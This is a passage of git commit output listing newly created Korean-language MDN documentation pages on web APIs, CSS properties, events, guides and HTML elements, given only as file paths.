files/ko/web/api/windoweventhandlers/onhashchange/index.html create mode 100644 files/ko/web/api/windoweventhandlers/onpopstate/index.html create mode 100644 files/ko/web/api/windoweventhandlers/onstorage/index.html create mode 100644 files/ko/web/api/windowtimers/settimeout/index.html create mode 100644 files/ko/web/api/worker/index.html create mode 100644 files/ko/web/api/worker/postmessage/index.html create mode 100644 files/ko/web/api/writablestream/index.html create mode 100644 files/ko/web/api/xmlhttprequest/index.html create mode 100644 files/ko/web/api/xmlhttprequest/setrequestheader/index.html create mode 100644 files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html create mode 100644 files/ko/web/api/xmlhttprequest/timeout/index.html create mode 100644 files/ko/web/api/xmlhttprequest/upload/index.html create mode 100644 files/ko/web/apps/design/index.html create mode 100644 files/ko/web/apps/publishing/marketplace_review_criteria/index.html create mode 100644 files/ko/web/css/-moz-image-region/index.html create mode 100644 files/ko/web/css/-webkit-line-clamp/index.html create mode 100644 files/ko/web/css/-webkit-overflow-scrolling/index.html create mode 100644 files/ko/web/css/@charset/index.html create mode 100644 files/ko/web/css/@font-face/font-display/index.html create mode 100644 files/ko/web/css/@font-face/index.html create mode 100644 files/ko/web/css/@import/index.html create mode 100644 files/ko/web/css/@keyframes/index.html create mode 100644 files/ko/web/css/@media/index.html create mode 100644 files/ko/web/css/@media/prefers-color-scheme/index.html create mode 100644 files/ko/web/css/@namespace/index.html create mode 100644 files/ko/web/css/@page/index.html create mode 100644 files/ko/web/css/@supports/index.html create mode 100644 files/ko/web/css/@viewport/height/index.html create mode 100644 files/ko/web/css/@viewport/index.html create mode 100644 files/ko/web/css/@viewport/viewport-fit/index.html create mode 100644 files/ko/web/css/@viewport/zoom/index.html create mode 100644 files/ko/web/css/_colon_active/index.html create mode 100644 files/ko/web/css/_colon_checked/index.html create mode 100644 files/ko/web/css/_colon_default/index.html create mode 100644 files/ko/web/css/_colon_defined/index.html create mode 100644 files/ko/web/css/_colon_disabled/index.html create mode 100644 files/ko/web/css/_colon_enabled/index.html create mode 100644 files/ko/web/css/_colon_first-child/index.html create mode 100644 files/ko/web/css/_colon_first-of-type/index.html create mode 100644 files/ko/web/css/_colon_first/index.html create mode 100644 files/ko/web/css/_colon_focus-within/index.html create mode 100644 files/ko/web/css/_colon_focus/index.html create mode 100644 files/ko/web/css/_colon_fullscreen/index.html create mode 100644 files/ko/web/css/_colon_hover/index.html create mode 100644 files/ko/web/css/_colon_link/index.html create mode 100644 files/ko/web/css/_colon_not/index.html create mode 100644 files/ko/web/css/_colon_nth-child/index.html create mode 100644 files/ko/web/css/_colon_root/index.html create mode 100644 files/ko/web/css/_colon_visited/index.html create mode 100644 files/ko/web/css/_doublecolon_after/index.html create mode 100644 files/ko/web/css/_doublecolon_before/index.html create mode 100644 files/ko/web/css/_doublecolon_placeholder/index.html create mode 100644 files/ko/web/css/actual_value/index.html create mode 100644 files/ko/web/css/align-content/index.html create mode 100644 files/ko/web/css/all/index.html create mode 100644 files/ko/web/css/all_about_the_containing_block/index.html create mode 100644 files/ko/web/css/alternative_style_sheets/index.html create mode 100644 files/ko/web/css/angle-percentage/index.html create mode 100644 files/ko/web/css/angle/index.html create mode 100644 files/ko/web/css/animation-delay/index.html create mode 100644 files/ko/web/css/animation-direction/index.html create mode 100644 files/ko/web/css/animation-duration/index.html create mode 100644 files/ko/web/css/animation-fill-mode/index.html create mode 100644 files/ko/web/css/animation/index.html create mode 100644 files/ko/web/css/at-rule/index.html create mode 100644 files/ko/web/css/attribute_selectors/index.html create mode 100644 files/ko/web/css/backdrop-filter/index.html create mode 100644 files/ko/web/css/backface-visibility/index.html create mode 100644 files/ko/web/css/background-attachment/index.html create mode 100644 files/ko/web/css/background-clip/index.html create mode 100644 files/ko/web/css/background-color/index.html create mode 100644 files/ko/web/css/background-image/index.html create mode 100644 files/ko/web/css/background-origin/index.html create mode 100644 files/ko/web/css/background-repeat/index.html create mode 100644 files/ko/web/css/background-size/index.html create mode 100644 files/ko/web/css/background/index.html create mode 100644 files/ko/web/css/basic-shape/index.html create mode 100644 files/ko/web/css/blend-mode/index.html create mode 100644 files/ko/web/css/border-bottom-color/index.html create mode 100644 files/ko/web/css/border-bottom-style/index.html create mode 100644 files/ko/web/css/border-bottom-width/index.html create mode 100644 files/ko/web/css/border-bottom/index.html create mode 100644 files/ko/web/css/border-collapse/index.html create mode 100644 files/ko/web/css/border-color/index.html create mode 100644 files/ko/web/css/border-image-outset/index.html create mode 100644 files/ko/web/css/border-image-repeat/index.html create mode 100644 files/ko/web/css/border-image-slice/index.html create mode 100644 files/ko/web/css/border-image-source/index.html create mode 100644 files/ko/web/css/border-image-width/index.html create mode 100644 files/ko/web/css/border-image/index.html create mode 100644 files/ko/web/css/border-left-color/index.html create mode 100644 files/ko/web/css/border-left-style/index.html create mode 100644 files/ko/web/css/border-left-width/index.html create mode 100644 files/ko/web/css/border-left/index.html create mode 100644 files/ko/web/css/border-radius/index.html create mode 100644 files/ko/web/css/border-right-color/index.html create mode 100644 files/ko/web/css/border-right-style/index.html create mode 100644 files/ko/web/css/border-right-width/index.html create mode 100644 files/ko/web/css/border-right/index.html create mode 100644 files/ko/web/css/border-spacing/index.html create mode 100644 files/ko/web/css/border-style/index.html create mode 100644 files/ko/web/css/border-top-color/index.html create mode 100644 files/ko/web/css/border-top-style/index.html create mode 100644 files/ko/web/css/border-top-width/index.html create mode 100644 files/ko/web/css/border-top/index.html create mode 100644 files/ko/web/css/border-width/index.html create mode 100644 files/ko/web/css/border/index.html create mode 100644 files/ko/web/css/box-shadow/index.html create mode 100644 files/ko/web/css/box-sizing/index.html create mode 100644 files/ko/web/css/calc()/index.html create mode 100644 files/ko/web/css/cascade/index.html create mode 100644 files/ko/web/css/child_combinator/index.html create mode 100644 files/ko/web/css/class_selectors/index.html create mode 100644 files/ko/web/css/clear/index.html create mode 100644 files/ko/web/css/clip-path/index.html create mode 100644 files/ko/web/css/color/index.html create mode 100644 files/ko/web/css/color_value/index.html create mode 100644 files/ko/web/css/comments/index.html create mode 100644 files/ko/web/css/common_css_questions/index.html create mode 100644 files/ko/web/css/computed_value/index.html create mode 100644 files/ko/web/css/contain/index.html create mode 100644 files/ko/web/css/content/index.html create mode 100644 files/ko/web/css/css_animated_properties/index.html create mode 100644 files/ko/web/css/css_animations/index.html create mode 100644 files/ko/web/css/css_animations/using_css_animations/index.html create mode 100644 files/ko/web/css/css_background_and_borders/border-image_generator/index.html create mode 100644 files/ko/web/css/css_background_and_borders/border-radius_generator/index.html create mode 100644 files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html create mode 100644 files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html create mode 100644 files/ko/web/css/css_backgrounds_and_borders/index.html create mode 100644 files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html create mode 100644 files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html create mode 100644 files/ko/web/css/css_basic_user_interface/index.html create mode 100644 files/ko/web/css/css_box_model/index.html create mode 100644 files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html create mode 100644 files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html create mode 100644 files/ko/web/css/css_charsets/index.html create mode 100644 files/ko/web/css/css_color/index.html create mode 100644 files/ko/web/css/css_colors/color_picker_tool/index.html create mode 100644 files/ko/web/css/css_columns/index.html create mode 100644 files/ko/web/css/css_conditional_rules/index.html create mode 100644 files/ko/web/css/css_containment/index.html create mode 100644 files/ko/web/css/css_device_adaptation/index.html create mode 100644 files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html create mode 100644 "files/ko/web/css/css_flexible_box_layout/flexbox\354\235\230_\352\270\260\353\263\270_\352\260\234\353\205\220/index.html" create mode 100644 files/ko/web/css/css_flexible_box_layout/index.html create mode 100644 "files/ko/web/css/css_flexible_box_layout/\352\260\200\353\263\200\354\203\201\354\236\220\354\235\230_\353\214\200\355\221\234\354\240\201\354\235\270_\354\202\254\354\232\251\353\241\200/index.html" create mode 100644 files/ko/web/css/css_flow_layout/index.html create mode 100644 files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html create mode 100644 "files/ko/web/css/css_flow_layout/\353\214\200\354\227\264\352\263\274_\355\203\210\353\214\200\354\227\264/index.html" create mode 100644 "files/ko/web/css/css_flow_layout/\354\235\274\353\260\230_\355\235\220\353\246\204_\354\206\215_\353\270\224\353\241\235_\353\260\217_\354\235\270\353\235\274\354\235\270_\353\240\210\354\235\264\354\225\204\354\233\203/index.html" create mode 100644 "files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\223\260\352\270\260_\353\252\250\353\223\234/index.html" create mode 100644 "files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\230\244\353\262\204\355\224\214\353\241\234/index.html" create mode 100644 files/ko/web/css/css_fonts/index.html create mode 100644 files/ko/web/css/css_generated_content/index.html create mode 100644 files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html create mode 100644 files/ko/web/css/css_grid_layout/grid_template_areas/index.html create mode 100644 files/ko/web/css/css_grid_layout/index.html create mode 100644 files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html create mode 100644 files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html create mode 100644 files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html create mode 100644 files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html create mode 100644 files/ko/web/css/css_images/index.html create mode 100644 files/ko/web/css/css_images/using_css_gradients/index.html create mode 100644 files/ko/web/css/css_lists_and_counters/index.html create mode 100644 files/ko/web/css/css_lists_and_counters/using_css_counters/index.html create mode 100644 files/ko/web/css/css_logical_properties/index.html create mode 100644 files/ko/web/css/css_masks/index.html create mode 100644 files/ko/web/css/css_miscellaneous/index.html create mode 100644 files/ko/web/css/css_namespaces/index.html create mode 100644 files/ko/web/css/css_pages/index.html create mode 100644 files/ko/web/css/css_positioning/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html create mode 100644 files/ko/web/css/css_ruby/index.html create mode 100644 files/ko/web/css/css_scroll_snap_points/index.html create mode 100644 files/ko/web/css/css_selectors/index.html create mode 100644 files/ko/web/css/css_shapes/index.html create mode 100644 files/ko/web/css/css_table/index.html create mode 100644 files/ko/web/css/css_text/index.html create mode 100644 files/ko/web/css/css_text_decoration/index.html create mode 100644 files/ko/web/css/css_transforms/index.html create mode 100644 files/ko/web/css/css_transforms/using_css_transforms/index.html create mode 100644 files/ko/web/css/css_transitions/index.html create mode 100644 files/ko/web/css/css_transitions/using_css_transitions/index.html create mode 100644 files/ko/web/css/css_types/index.html create mode 100644 files/ko/web/css/css_variables/index.html create mode 100644 files/ko/web/css/css_writing_modes/index.html create mode 100644 "files/ko/web/css/css_\353\213\250\354\234\204\354\231\200_\352\260\222/index.html" create mode 100644 files/ko/web/css/cursor/index.html create mode 100644 files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html create mode 100644 files/ko/web/css/descendant_combinator/index.html create mode 100644 files/ko/web/css/display-internal/index.html create mode 100644 files/ko/web/css/display/index.html create mode 100644 files/ko/web/css/filter-function/blur()/index.html create mode 100644 files/ko/web/css/filter-function/brightness()/index.html create mode 100644 files/ko/web/css/filter-function/contrast()/index.html create mode 100644 files/ko/web/css/filter-function/index.html create mode 100644 files/ko/web/css/filter/index.html create mode 100644 files/ko/web/css/filter_effects/index.html create mode 100644 files/ko/web/css/flex-basis/index.html create mode 100644 files/ko/web/css/flex-direction/index.html create mode 100644 files/ko/web/css/flex-flow/index.html create mode 100644 files/ko/web/css/flex-grow/index.html create mode 100644 files/ko/web/css/flex-shrink/index.html create mode 100644 files/ko/web/css/flex-wrap/index.html create mode 100644 files/ko/web/css/flex/index.html create mode 100644 files/ko/web/css/float/index.html create mode 100644 files/ko/web/css/font-family/index.html create mode 100644 files/ko/web/css/font-feature-settings/index.html create mode 100644 files/ko/web/css/font-size/index.html create mode 100644 files/ko/web/css/font-synthesis/index.html create mode 100644 files/ko/web/css/font-weight/index.html create mode 100644 files/ko/web/css/font/index.html create mode 100644 files/ko/web/css/frequency/index.html create mode 100644 files/ko/web/css/gap/index.html create mode 100644 files/ko/web/css/general_sibling_combinator/index.html create mode 100644 files/ko/web/css/getting_started/javascript/index.html create mode 100644 files/ko/web/css/getting_started/svg_graphics/index.html create mode 100644 files/ko/web/css/getting_started/xbl_bindings/index.html create mode 100644 files/ko/web/css/getting_started/xml_data/index.html create mode 100644 files/ko/web/css/getting_started/xul_user_interfaces/index.html create mode 100644 files/ko/web/css/gradient/index.html create mode 100644 files/ko/web/css/grid-area/index.html create mode 100644 files/ko/web/css/grid/index.html create mode 100644 files/ko/web/css/height/index.html create mode 100644 files/ko/web/css/hyphens/index.html create mode 100644 files/ko/web/css/id_selectors/index.html create mode 100644 files/ko/web/css/image-rendering/index.html create mode 100644 files/ko/web/css/image/index.html create mode 100644 files/ko/web/css/index.html create mode 100644 files/ko/web/css/index/index.html create mode 100644 files/ko/web/css/inherit/index.html create mode 100644 files/ko/web/css/inheritance/index.html create mode 100644 files/ko/web/css/initial/index.html create mode 100644 files/ko/web/css/initial_value/index.html create mode 100644 files/ko/web/css/integer/index.html create mode 100644 files/ko/web/css/isolation/index.html create mode 100644 files/ko/web/css/layout_mode/index.html create mode 100644 files/ko/web/css/length-percentage/index.html create mode 100644 files/ko/web/css/length/index.html create mode 100644 files/ko/web/css/letter-spacing/index.html create mode 100644 files/ko/web/css/line-break/index.html create mode 100644 files/ko/web/css/linear-gradient()/index.html create mode 100644 files/ko/web/css/margin-bottom/index.html create mode 100644 files/ko/web/css/margin-left/index.html create mode 100644 files/ko/web/css/margin-right/index.html create mode 100644 files/ko/web/css/margin-top/index.html create mode 100644 files/ko/web/css/margin/index.html create mode 100644 files/ko/web/css/mask/index.html create mode 100644 files/ko/web/css/max-height/index.html create mode 100644 files/ko/web/css/max-width/index.html create mode 100644 files/ko/web/css/media_queries/index.html create mode 100644 files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html create mode 100644 files/ko/web/css/min-height/index.html create mode 100644 files/ko/web/css/min-width/index.html create mode 100644 files/ko/web/css/mix-blend-mode/index.html create mode 100644 files/ko/web/css/number/index.html create mode 100644 files/ko/web/css/object-fit/index.html create mode 100644 files/ko/web/css/object-position/index.html create mode 100644 files/ko/web/css/opacity/index.html create mode 100644 files/ko/web/css/order/index.html create mode 100644 files/ko/web/css/outline-style/index.html create mode 100644 files/ko/web/css/outline-width/index.html create mode 100644 files/ko/web/css/outline/index.html create mode 100644 files/ko/web/css/overflow-wrap/index.html create mode 100644 files/ko/web/css/overflow/index.html create mode 100644 files/ko/web/css/padding-bottom/index.html create mode 100644 files/ko/web/css/padding-left/index.html create mode 100644 files/ko/web/css/padding-right/index.html create mode 100644 files/ko/web/css/padding-top/index.html create mode 100644 files/ko/web/css/padding/index.html create mode 100644 files/ko/web/css/paged_media/index.html create mode 100644 files/ko/web/css/paint-order/index.html create mode 100644 files/ko/web/css/percentage/index.html create mode 100644 files/ko/web/css/pointer-events/index.html create mode 100644 files/ko/web/css/position/index.html create mode 100644 files/ko/web/css/position_value/index.html create mode 100644 files/ko/web/css/pseudo-classes/index.html create mode 100644 files/ko/web/css/pseudo-elements/index.html create mode 100644 files/ko/web/css/reference/index.html create mode 100644 files/ko/web/css/reference/property_template/index.html create mode 100644 files/ko/web/css/replaced_element/index.html create mode 100644 files/ko/web/css/resolved_value/index.html create mode 100644 files/ko/web/css/revert/index.html create mode 100644 files/ko/web/css/selector_list/index.html create mode 100644 files/ko/web/css/shorthand_properties/index.html create mode 100644 files/ko/web/css/specificity/index.html create mode 100644 files/ko/web/css/specified_value/index.html create mode 100644 files/ko/web/css/syntax/index.html create mode 100644 files/ko/web/css/tab-size/index.html create mode 100644 files/ko/web/css/text-align/index.html create mode 100644 files/ko/web/css/text-decoration/index.html create mode 100644 files/ko/web/css/text-shadow/index.html create mode 100644 files/ko/web/css/time/index.html create mode 100644 files/ko/web/css/transform-function/index.html create mode 100644 files/ko/web/css/transform-function/matrix()/index.html create mode 100644 files/ko/web/css/transform-function/scalex()/index.html create mode 100644 files/ko/web/css/transform/index.html create mode 100644 files/ko/web/css/transition-delay/index.html create mode 100644 files/ko/web/css/transition/index.html create mode 100644 files/ko/web/css/type_selectors/index.html create mode 100644 files/ko/web/css/universal_selectors/index.html create mode 100644 files/ko/web/css/unset/index.html create mode 100644 files/ko/web/css/url/index.html create mode 100644 files/ko/web/css/used_value/index.html create mode 100644 files/ko/web/css/user-select/index.html create mode 100644 files/ko/web/css/using_css_custom_properties/index.html create mode 100644 files/ko/web/css/value_definition_syntax/index.html create mode 100644 files/ko/web/css/var()/index.html create mode 100644 files/ko/web/css/vertical-align/index.html create mode 100644 files/ko/web/css/visibility/index.html create mode 100644 files/ko/web/css/white-space/index.html create mode 100644 files/ko/web/css/width/index.html create mode 100644 files/ko/web/css/will-change/index.html create mode 100644 files/ko/web/css/word-break/index.html create mode 100644 files/ko/web/css/word-spacing/index.html create mode 100644 files/ko/web/css/z-index/index.html create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\353\246\254\354\212\244\355\212\270/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\353\257\270\353\224\224\354\226\264/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\353\260\260\354\271\230/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\354\203\201\354\236\220/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\354\242\205\354\206\215\352\263\274_\354\203\201\354\206\215/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\355\205\214\354\235\264\353\270\224/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\355\205\215\354\212\244\355\212\270_\354\212\244\355\203\200\354\235\274/index.html" create mode 100644 "files/ko/web/css/\354\235\270\354\240\221_\355\230\225\354\240\234_\354\204\240\355\203\235\354\236\220/index.html" create mode 100644 files/ko/web/events/abort/index.html create mode 100644 files/ko/web/events/blur/index.html create mode 100644 files/ko/web/events/chargingchange/index.html create mode 100644 files/ko/web/events/domcontentloaded/index.html create mode 100644 files/ko/web/events/domsubtreemodified/index.html create mode 100644 files/ko/web/events/index.html create mode 100644 files/ko/web/events/load/index.html create mode 100644 files/ko/web/events/message/index.html create mode 100644 files/ko/web/exslt/index.html create mode 100644 files/ko/web/guide/ajax/community/index.html create mode 100644 files/ko/web/guide/ajax/getting_started/index.html create mode 100644 files/ko/web/guide/ajax/index.html create mode 100644 files/ko/web/guide/api/index.html create mode 100644 files/ko/web/guide/api/vibration/vibration/index.html create mode 100644 files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html create mode 100644 files/ko/web/guide/audio_and_video_delivery/index.html create mode 100644 files/ko/web/guide/css/block_formatting_context/index.html create mode 100644 files/ko/web/guide/css/media_queries/index.html create mode 100644 files/ko/web/guide/css/visual_formatting_model/index.html create mode 100644 files/ko/web/guide/dom/index.html create mode 100644 files/ko/web/guide/dom/using_full_screen_mode/index.html create mode 100644 files/ko/web/guide/events/creating_and_triggering_events/index.html create mode 100644 files/ko/web/guide/events/index.html create mode 100644 files/ko/web/guide/events/overview_of_events_and_handlers/index.html create mode 100644 files/ko/web/guide/html/content_categories/index.html create mode 100644 files/ko/web/guide/html/content_editable/index.html create mode 100644 files/ko/web/guide/index.html create mode 100644 files/ko/web/guide/index/index.html create mode 100644 files/ko/web/guide/mobile/index.html create mode 100644 files/ko/web/guide/mobile/separate_sites/index.html create mode 100644 "files/ko/web/guide/xml_\355\214\214\354\213\261_\353\260\217_\354\247\201\353\240\254\355\231\224/index.html" create mode 100644 "files/ko/web/guide/\352\267\270\353\236\230\355\224\275/index.html" create mode 100644 files/ko/web/html/applying_color/index.html create mode 100644 files/ko/web/html/attributes/autocomplete/index.html create mode 100644 files/ko/web/html/attributes/crossorigin/index.html create mode 100644 files/ko/web/html/attributes/index.html create mode 100644 files/ko/web/html/block-level_elements/index.html create mode 100644 files/ko/web/html/canvas/index.html create mode 100644 files/ko/web/html/canvas/manipulating_video_using_canvas/index.html create mode 100644 files/ko/web/html/canvas/tutorial/advanced_animations/index.html create mode 100644 files/ko/web/html/canvas/tutorial/applying_styles_and_colors/index.html create mode 100644 files/ko/web/html/canvas/tutorial/basic_animations/index.html create mode 100644 files/ko/web/html/canvas/tutorial/basic_usage/index.html create mode 100644 files/ko/web/html/canvas/tutorial/compositing/example/index.html create mode 100644 files/ko/web/html/canvas/tutorial/compositing/index.html create mode 100644 files/ko/web/html/canvas/tutorial/drawing_shapes/index.html create mode 100644 files/ko/web/html/canvas/tutorial/finale/index.html create mode 100644 files/ko/web/html/canvas/tutorial/hit_regions_and_accessibility/index.html create mode 100644 files/ko/web/html/canvas/tutorial/index.html create mode 100644 files/ko/web/html/canvas/tutorial/optimizing_canvas/index.html create mode 100644 files/ko/web/html/canvas/tutorial/using_images/index.html create mode 100644 "files/ko/web/html/canvas/tutorial/\353\263\200\355\230\225/index.html" create mode 100644 files/ko/web/html/cors_enabled_image/index.html create mode 100644 files/ko/web/html/element/a/index.html create mode 100644 files/ko/web/html/element/abbr/index.html create mode 100644 files/ko/web/html/element/address/index.html create mode 100644 files/ko/web/html/element/applet/index.html create mode 100644 files/ko/web/html/element/area/index.html create mode 100644 files/ko/web/html/element/article/index.html create mode 100644 files/ko/web/html/element/aside/index.html create mode 100644 files/ko/web/html/element/audio/index.html create mode 100644 files/ko/web/html/element/b/index.html create mode 100644 files/ko/web/html/element/base/index.html create mode 100644 files/ko/web/html/element/bdo/index.html create mode 100644 files/ko/web/html/element/blockquote/index.html create mode 100644 files/ko/web/html/element/body/index.html create mode 100644 files/ko/web/html/element/br/index.html create mode 100644 files/ko/web/html/element/button/index.html create mode 100644 files/ko/web/html/element/canvas/index.html create mode 100644 files/ko/web/html/element/caption/index.html create mode 100644 files/ko/web/html/element/center/index.html create mode 100644 files/ko/web/html/element/cite/index.html create mode 100644 files/ko/web/html/element/code/index.html create mode 100644 files/ko/web/html/element/col/index.html create mode 100644 files/ko/web/html/element/colgroup/index.html create mode 100644 files/ko/web/html/element/command/index.html create mode 100644 files/ko/web/html/element/content/index.html create mode 100644 files/ko/web/html/element/data/index.html create mode 100644 files/ko/web/html/element/datalist/index.html create mode 100644 files/ko/web/html/element/dd/index.html create mode 100644 files/ko/web/html/element/del/index.html create mode 100644 files/ko/web/html/element/details/index.html create mode 100644 files/ko/web/html/element/dfn/index.html create mode 100644 files/ko/web/html/element/dialog/index.html create mode 100644 files/ko/web/html/element/div/index.html create mode 100644 files/ko/web/html/element/dl/index.html create mode 100644 files/ko/web/html/element/dt/index.html create mode 100644 files/ko/web/html/element/element/index.html create mode 100644 files/ko/web/html/element/em/index.html create mode 100644 files/ko/web/html/element/embed/index.html create mode 100644 files/ko/web/html/element/fieldset/index.html create mode 100644 files/ko/web/html/element/figcaption/index.html create mode 100644 files/ko/web/html/element/figure/index.html create mode 100644 files/ko/web/html/element/font/index.html create mode 100644 files/ko/web/html/element/footer/index.html create mode 100644 files/ko/web/html/element/form/index.html create mode 100644 files/ko/web/html/element/frame/index.html create mode 100644 files/ko/web/html/element/frameset/index.html create mode 100644 files/ko/web/html/element/head/index.html create mode 100644 files/ko/web/html/element/header/index.html create mode 100644 files/ko/web/html/element/heading_elements/index.html create mode 100644 files/ko/web/html/element/hgroup/index.html create mode 100644 files/ko/web/html/element/hr/index.html create mode 100644 files/ko/web/html/element/html/index.html create mode 100644 files/ko/web/html/element/i/index.html create mode 100644 files/ko/web/html/element/iframe/index.html create mode 100644 files/ko/web/html/element/img/index.html create mode 100644 files/ko/web/html/element/index.html create mode 100644 files/ko/web/html/element/input/button/index.html create mode 100644 files/ko/web/html/element/input/date/index.html create mode 100644 files/ko/web/html/element/input/file/index.html create mode 100644 files/ko/web/html/element/input/index.html create mode 100644 files/ko/web/html/element/input/radio/index.html create mode 100644 files/ko/web/html/element/ins/index.html create mode 100644 files/ko/web/html/element/kbd/index.html create mode 100644 files/ko/web/html/element/keygen/index.html create mode 100644 files/ko/web/html/element/label/index.html create mode 100644 files/ko/web/html/element/legend/index.html create mode 100644 files/ko/web/html/element/li/index.html create mode 100644 files/ko/web/html/element/link/index.html create mode 100644 files/ko/web/html/element/main/index.html create mode 100644 files/ko/web/html/element/map/index.html create mode 100644 files/ko/web/html/element/mark/index.html create mode 100644 files/ko/web/html/element/menu/index.html create mode 100644 files/ko/web/html/element/meta/index.html create mode 100644 files/ko/web/html/element/meta/name/index.html create mode 100644 files/ko/web/html/element/meter/index.html create mode 100644 files/ko/web/html/element/nav/index.html create mode 100644 files/ko/web/html/element/noscript/index.html create mode 100644 files/ko/web/html/element/object/index.html create mode 100644 files/ko/web/html/element/ol/index.html create mode 100644 files/ko/web/html/element/optgroup/index.html create mode 100644 files/ko/web/html/element/option/index.html create mode 100644 files/ko/web/html/element/output/index.html create mode 100644 files/ko/web/html/element/p/index.html create mode 100644 files/ko/web/html/element/param/index.html create mode 100644 files/ko/web/html/element/pre/index.html create mode 100644 files/ko/web/html/element/progress/index.html create mode 100644 files/ko/web/html/element/q/index.html create mode 100644 files/ko/web/html/element/rb/index.html create mode 100644 files/ko/web/html/element/rp/index.html create mode 100644 files/ko/web/html/element/rt/index.html create mode 100644 files/ko/web/html/element/rtc/index.html create mode 100644 files/ko/web/html/element/ruby/index.html create mode 100644 files/ko/web/html/element/s/index.html create mode 100644 files/ko/web/html/element/samp/index.html create mode 100644 files/ko/web/html/element/script/index.html create mode 100644 files/ko/web/html/element/section/index.html create mode 100644 files/ko/web/html/element/select/index.html create mode 100644 files/ko/web/html/element/slot/index.html create mode 100644 files/ko/web/html/element/small/index.html create mode 100644 files/ko/web/html/element/span/index.html create mode 100644 files/ko/web/html/element/strong/index.html create mode 100644 files/ko/web/html/element/style/index.html create mode 100644 files/ko/web/html/element/sub/index.html create mode 100644 files/ko/web/html/element/summary/index.html create mode 100644 files/ko/web/html/element/sup/index.html create mode 100644 files/ko/web/html/element/table/index.html create mode 100644 files/ko/web/html/element/tbody/index.html create mode 100644 files/ko/web/html/element/td/index.html create mode 100644 files/ko/web/html/element/template/index.html create mode 100644 files/ko/web/html/element/textarea/index.html create mode 100644 files/ko/web/html/element/th/index.html create mode 100644 files/ko/web/html/element/thead/index.html create mode 100644 files/ko/web/html/element/time/index.html create mode 100644 files/ko/web/html/element/title/index.html create mode 100644 files/ko/web/html/element/tr/index.html create mode 100644 files/ko/web/html/element/track/index.html create mode 100644 files/ko/web/html/element/u/index.html create mode 100644 files/ko/web/html/element/ul/index.html create mode 100644 files/ko/web/html/element/var/index.html create mode 100644 files/ko/web/html/element/video/index.html create mode 100644 files/ko/web/html/element/wbr/index.html create mode 100644 files/ko/web/html/global_attributes/accesskey/index.html create mode 100644 files/ko/web/html/global_attributes/autocapitalize/index.html create mode 100644 files/ko/web/html/global_attributes/contenteditable/index.html create mode 100644 files/ko/web/html/global_attributes/contextmenu/index.html create mode 100644 files/ko/web/html/global_attributes/data-_star_/index.html create mode 100644 files/ko/web/html/global_attributes/dir/index.html create mode 100644 files/ko/web/html/global_attributes/draggable/index.html create mode 100644 files/ko/web/html/global_attributes/dropzone/index.html create mode 100644 files/ko/web/html/global_attributes/hidden/index.html create mode 100644 files/ko/web/html/global_attributes/id/index.html create mode 100644 files/ko/web/html/global_attributes/index.html create mode 100644 files/ko/web/html/global_attributes/inputmode/index.html create mode 100644 files/ko/web/html/global_attributes/is/index.html create mode 100644 files/ko/web/html/global_attributes/itemid/index.html create mode 100644 files/ko/web/html/global_attributes/itemprop/index.html create mode 100644 files/ko/web/html/global_attributes/itemref/index.html create mode 100644 files/ko/web/html/global_attributes/itemscope/index.html create mode 100644 files/ko/web/html/global_attributes/lang/index.html create mode 100644 files/ko/web/html/global_attributes/part/index.html create mode 100644 files/ko/web/html/global_attributes/slot/index.html create mode 100644 files/ko/web/html/global_attributes/spellcheck/index.html create mode 100644 files/ko/web/html/global_attributes/style/index.html create mode 100644 files/ko/web/html/global_attributes/tabindex/index.html create mode 100644 files/ko/web/html/global_attributes/title/index.html create mode 100644 files/ko/web/html/global_attributes/translate/index.html create mode 100644 "files/ko/web/html/global_attributes/\355\201\264\353\236\230\354\212\244/index.html" create mode 100644 files/ko/web/html/html5/index.html create mode 100644 files/ko/web/html/html5/introduction_to_html5/index.html create mode 100644 "files/ko/web/html/html5_\353\254\270\354\204\234\354\235\230_\354\204\271\354\205\230\352\263\274_\354\234\244\352\263\275/index.html" create mode 100644 files/ko/web/html/index.html create mode 100644 files/ko/web/html/index/index.html create mode 100644 files/ko/web/html/inline_elements/index.html create mode 100644 files/ko/web/html/link_types/index.html create mode 100644 files/ko/web/html/preloading_content/index.html create mode 100644 